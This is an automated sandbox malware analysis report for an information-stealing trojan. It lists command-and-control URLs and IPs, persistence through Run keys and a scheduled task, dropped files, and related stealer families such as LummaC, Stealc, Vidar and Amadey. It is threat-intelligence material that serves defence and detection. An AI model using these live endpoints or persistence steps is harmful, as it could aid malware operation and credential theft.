https://marshal-zhukov.com/apiCQYHoC	28d9ab8742.exe, 0000001A.00000003.2874980002.00000000056F3000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2878055507.00000000056F5000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2890683941.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2875456533.00000000056F3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://marshal-zhukov.com/apio	28d9ab8742.exe, 0000001A.00000003.2955499601.00000000056E1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ntp.msn.com	2cc80dabc69f58b6_0.8.dr	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=ftiDdX_V0QeB&l=englis	28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp	false		high
https://marshal-zhukov.com/apiu	28d9ab8742.exe, 0000001A.00000003.2862304891.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://marshal-zhukov.com/eiom	28d9ab8742.exe, 0000001A.00000003.2933549588.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2890768591.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gaana.com/	2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	false		high
https://broadcast.st.dl.eccdnx.com	28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com3	28d9ab8742.exe, 0000001A.00000003.2890768591.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000002.3026569663.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2875570125.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2973952651.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://marshal-zhukov.com/))TR	28d9ab8742.exe, 0000001A.00000003.2890768591.0000000000C52000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2875570125.0000000000C52000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	28d9ab8742.exe, 0000001A.00000003.2863482302.0000000005788000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2996995059.0000000005EC8000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.185.100	www.google.com	United States	15169	GOOGLEUS	false
23.192.247.89	unknown	United States	16625	AKAMAI-ASUS	true
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.219.161.135	unknown	United States	20940	AKAMAI-ASN1EU	false
23.209.72.39	unknown	United States	20940	AKAMAI-ASN1EU	false
23.33.40.143	unknown	United States	20940	AKAMAI-ASN1EU	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.33.40.146	unknown	United States	20940	AKAMAI-ASN1EU	false
18.244.18.32	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	marshal-zhukov.com	European Union	13335	CLOUDFLARENETUS	false
20.96.153.111	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.117.182.56	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.185.206	plus.l.google.com	United States	15169	GOOGLEUS	false
216.58.206.33	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
18.238.49.99	unknown	United States	16509	AMAZON-02US	false
142.250.181.238	play.google.com	United States	15169	GOOGLEUS	false
40.79.167.8	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.50.98.133	steamcommunity.com	United States	16625	AKAMAI-ASUS	false

Private

IP
192.168.2.8
192.168.2.9
192.168.2.4
192.168.2.6
127.0.0.1
192.168.2.17
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1553576
Start date and time:	2024-11-11 12:39:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 19m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	41
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@92/147@66/33
EGA Information:	Successful, ratio: 75%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): dllhost.exe, UserOOBEBroker.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.67, 74.125.71.84, 142.250.184.206, 34.104.35.123, 142.250.186.99, 142.250.184.234, 142.250.185.74, 216.58.206.74, 172.217.23.106, 172.217.18.10, 142.250.184.202, 142.250.74.202, 142.250.186.42, 142.250.186.106, 142.250.186.74, 216.58.212.170, 172.217.16.138, 142.250.186.138, 216.58.206.42, 172.217.16.202, 142.250.185.106, 142.250.185.234, 142.250.186.170, 142.250.185.138, 142.250.185.170, 142.250.185.202, 172.217.18.106, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 142.250.185.174, 13.107.6.158, 2.19.126.145, 2.19.126.152, 48.209.144.71, 88.221.110.242, 88.221.110.179, 2.23.209.168, 2.23.209.158, 2.23.209.156, 2.23.209.162, 2.23.209.167, 2.23.209.154, 2.23.209.166, 2.23.209.171, 2.23.209.161, 2.23.209.150, 2.23.209.54, 2.23.209.51, 2.23.209.53, 2.23.209.47, 2.23.209.56, 2.23.209.50, 2.23.209.58, 2.23.209.48, 2.23.209.55, 13.74.129.1, 204.79.197.237, 13.107.21.237, 172.205.25.163, 192.229.221.95, 2.23.209.131, 2.23.209.132, 2.23.209.191, 2.2
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, prod-agic-ne-9.northeurope.cloudapp.azure.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, c.bing.com, assets2.msn.com.edgekey.net, clients.l.google.com, prod-agic-ne-7.northeurope.cloudapp.azure.com, config.e
Execution Graph export aborted for target 28d9ab8742.exe, PID 4068 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
06:40:31	API Interceptor	22x Sleep call for process: file.exe modified
06:41:01	API Interceptor	32654862x Sleep call for process: skotes.exe modified
06:41:09	API Interceptor	28x Sleep call for process: 28d9ab8742.exe modified
06:41:29	API Interceptor	29x Sleep call for process: 3daf81f16e.exe modified
12:40:38	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
12:41:12	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 28d9ab8742.exe C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe
12:41:20	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 3daf81f16e.exe C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe
12:41:28	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run be33d1b9ea.exe C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe
12:41:36	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 28d9ab8742.exe C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe
12:41:44	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 3daf81f16e.exe C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe
12:41:53	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run be33d1b9ea.exe C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	SAFAIR - MDE_File_Sample_c4fda6eee21550785a1c89ce291a2d3072e0ed9b.zip	Get hash	malicious	Unknown	Browse	162.159.61.3
	rPO3799039985.exe	Get hash	malicious	Remcos, GuLoader	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	A3W2CpXxiO.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
steamcommunity.com	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.192.247.89
	Setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	23.197.127.21
	QkBj8CevLU.exe	Get hash	malicious	Stealc, Vidar	Browse	23.197.127.21
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Zhark RAT	Browse	23.197.127.21
	DJkolK7tif.exe	Get hash	malicious	LummaC	Browse	95.100.48.249
	LTU0L7ajFq.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
	3UggdYnYGK.exe	Get hash	malicious	LummaC, XWorm	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	RvWTDQm7yl.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	A3W2CpXxiO.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASUS	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.192.247.89
	GE AEROSPACE _WIRE REMITTANCE.xlsx	Get hash	malicious	Unknown	Browse	2.19.126.143
	THE COSTS INCURRED PENDING (1).pdf	Get hash	malicious	Unknown	Browse	104.126.112.182
	Complete_with_DocuSign_49584.pdf	Get hash	malicious	HTMLPhisher	Browse	23.47.168.24
	bin.sh.elf	Get hash	malicious	Mirai	Browse	23.42.226.0
	https://parkonking.us15.list-manage.com/track/click?u=ad047aa5468a45d38c75e108c&id=88101fd354&e=1659a0a55d	Get hash	malicious	Unknown	Browse	23.216.205.249
	maryanne@propertynz.co.nz_Agreement70554.xlsx	Get hash	malicious	Unknown	Browse	184.28.90.27
	sora.arm.elf	Get hash	malicious	Mirai	Browse	23.33.113.240
	yakuza.mips.elf	Get hash	malicious	Unknown	Browse	172.228.229.154
	botnet.spc.elf	Get hash	malicious	Mirai, Moobot	Browse	184.85.6.156
CLOUDFLARENETUS	https://sm6.co/redsbbch	Get hash	malicious	Unknown	Browse	172.67.192.112
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	https://dp0gl1.fj84.fdske.com/e/c/01jcddej3zhmq2g9dn4vhatbr0/01jcddej3zhmq2g9dn4vtrz93v	Get hash	malicious	Unknown	Browse	104.18.39.116
	BYi52hdbpP.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Request for Quotation MK FMHS.RFQ.24.11.07.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	NEW REQUIREMENT PO565432.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	Quotation.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.74.152
	ungziped_file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	https://url.uk.m.mimecastprotect.com/s/kDIoCE937cZ18nFwhvH7E_ay?domain=eye.sbc31.net	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://url.uk.m.mimecastprotect.com/s/kDIoCE937cZ18nFwhvH7E_ay?domain=eye.sbc31.net	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	SAFAIR - MDE_File_Sample_c4fda6eee21550785a1c89ce291a2d3072e0ed9b.zip	Get hash	malicious	Unknown	Browse	13.107.42.16
	GE AEROSPACE _WIRE REMITTANCE.xlsx	Get hash	malicious	Unknown	Browse	20.190.159.0
	Sampension-file-846845087.pdf	Get hash	malicious	Captcha Phish	Browse	150.171.28.10
	rPO3799039985.exe	Get hash	malicious	Remcos, GuLoader	Browse	52.123.251.14
	bin.sh.elf	Get hash	malicious	Mirai	Browse	40.67.83.151
	https://parkonking.us15.list-manage.com/track/click?u=ad047aa5468a45d38c75e108c&id=88101fd354&e=1659a0a55d	Get hash	malicious	Unknown	Browse	150.171.27.10
	https://anzsupportus.web.app/#	Get hash	malicious	Unknown	Browse	150.171.27.10
	https://hobitronik.com/	Get hash	malicious	Unknown	Browse	40.127.152.155

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	mmd khr.exe	Get hash	malicious	Babuk	Browse	20.109.210.53 52.149.20.212 184.28.90.27 13.107.246.45
	https://sm6.co/redsbbch	Get hash	malicious	Unknown	Browse	20.109.210.53 52.149.20.212 184.28.90.27 13.107.246.45
	https://dp0gl1.fj84.fdske.com/e/c/01jcddej3zhmq2g9dn4vhatbr0/01jcddej3zhmq2g9dn4vtrz93v	Get hash	malicious	Unknown	Browse	20.109.210.53 52.149.20.212 184.28.90.27 13.107.246.45
	test.html	Get hash	malicious	Unknown	Browse	20.109.210.53 52.149.20.212 184.28.90.27 13.107.246.45
	test.html	Get hash	malicious	Unknown	Browse	20.109.210.53 52.149.20.212 184.28.90.27 13.107.246.45
	https://url.uk.m.mimecastprotect.com/s/kDIoCE937cZ18nFwhvH7E_ay?domain=eye.sbc31.net	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 52.149.20.212 184.28.90.27 13.107.246.45
	Eversheds-sutherland-INV39212-3_230470352.doc	Get hash	malicious	Unknown	Browse	20.109.210.53 52.149.20.212 184.28.90.27 13.107.246.45
	test.html	Get hash	malicious	Unknown	Browse	20.109.210.53 52.149.20.212 184.28.90.27 13.107.246.45
	Eversheds-sutherland-INV39212-3_230470352.doc	Get hash	malicious	Unknown	Browse	20.109.210.53 52.149.20.212 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	20.109.210.53 52.149.20.212 184.28.90.27 13.107.246.45
3b5074b1b5d032e5620f69f9f700ff0e	BYi52hdbpP.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	40.113.110.67 40.113.103.199
	Request for Quotation MK FMHS.RFQ.24.11.07.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	40.113.110.67 40.113.103.199
	Quotation.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	40.113.110.67 40.113.103.199
	ungziped_file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	40.113.110.67 40.113.103.199
	DDH_LP (1).exe	Get hash	malicious	Unknown	Browse	40.113.110.67 40.113.103.199
	seethebstpricewithbestthinghappingwithgoodnews.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	40.113.110.67 40.113.103.199
	seethebestthingsneedtodowithgreatthingshappenedonheretosee.hta	Get hash	malicious	Cobalt Strike, FormBook, HTMLPhisher	Browse	40.113.110.67 40.113.103.199
	DDH_LP (1).exe	Get hash	malicious	Unknown	Browse	40.113.110.67 40.113.103.199
	Scan112024.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	40.113.110.67 40.113.103.199
	Request for Quotation 11-11-2024#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	40.113.110.67 40.113.103.199
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.192.247.89 188.114.97.3 23.50.98.133 40.79.150.121
	90876654545.exe	Get hash	malicious	DBatLoader, FormBook	Browse	23.192.247.89 188.114.97.3 23.50.98.133 40.79.150.121
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.192.247.89 188.114.97.3 23.50.98.133 40.79.150.121
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.192.247.89 188.114.97.3 23.50.98.133 40.79.150.121
	file.exe	Get hash	malicious	LummaC	Browse	23.192.247.89 188.114.97.3 23.50.98.133 40.79.150.121
	Scan112024.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	23.192.247.89 188.114.97.3 23.50.98.133 40.79.150.121
	Consulta de encomenda N#U00ba TM06-Q2-11-24.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	23.192.247.89 188.114.97.3 23.50.98.133 40.79.150.121
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	23.192.247.89 188.114.97.3 23.50.98.133 40.79.150.121
	we5SGOAe69.exe	Get hash	malicious	LummaC	Browse	23.192.247.89 188.114.97.3 23.50.98.133 40.79.150.121
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	23.192.247.89 188.114.97.3 23.50.98.133 40.79.150.121

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFHDHCAAKECFIDHIEBAKFCGCFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

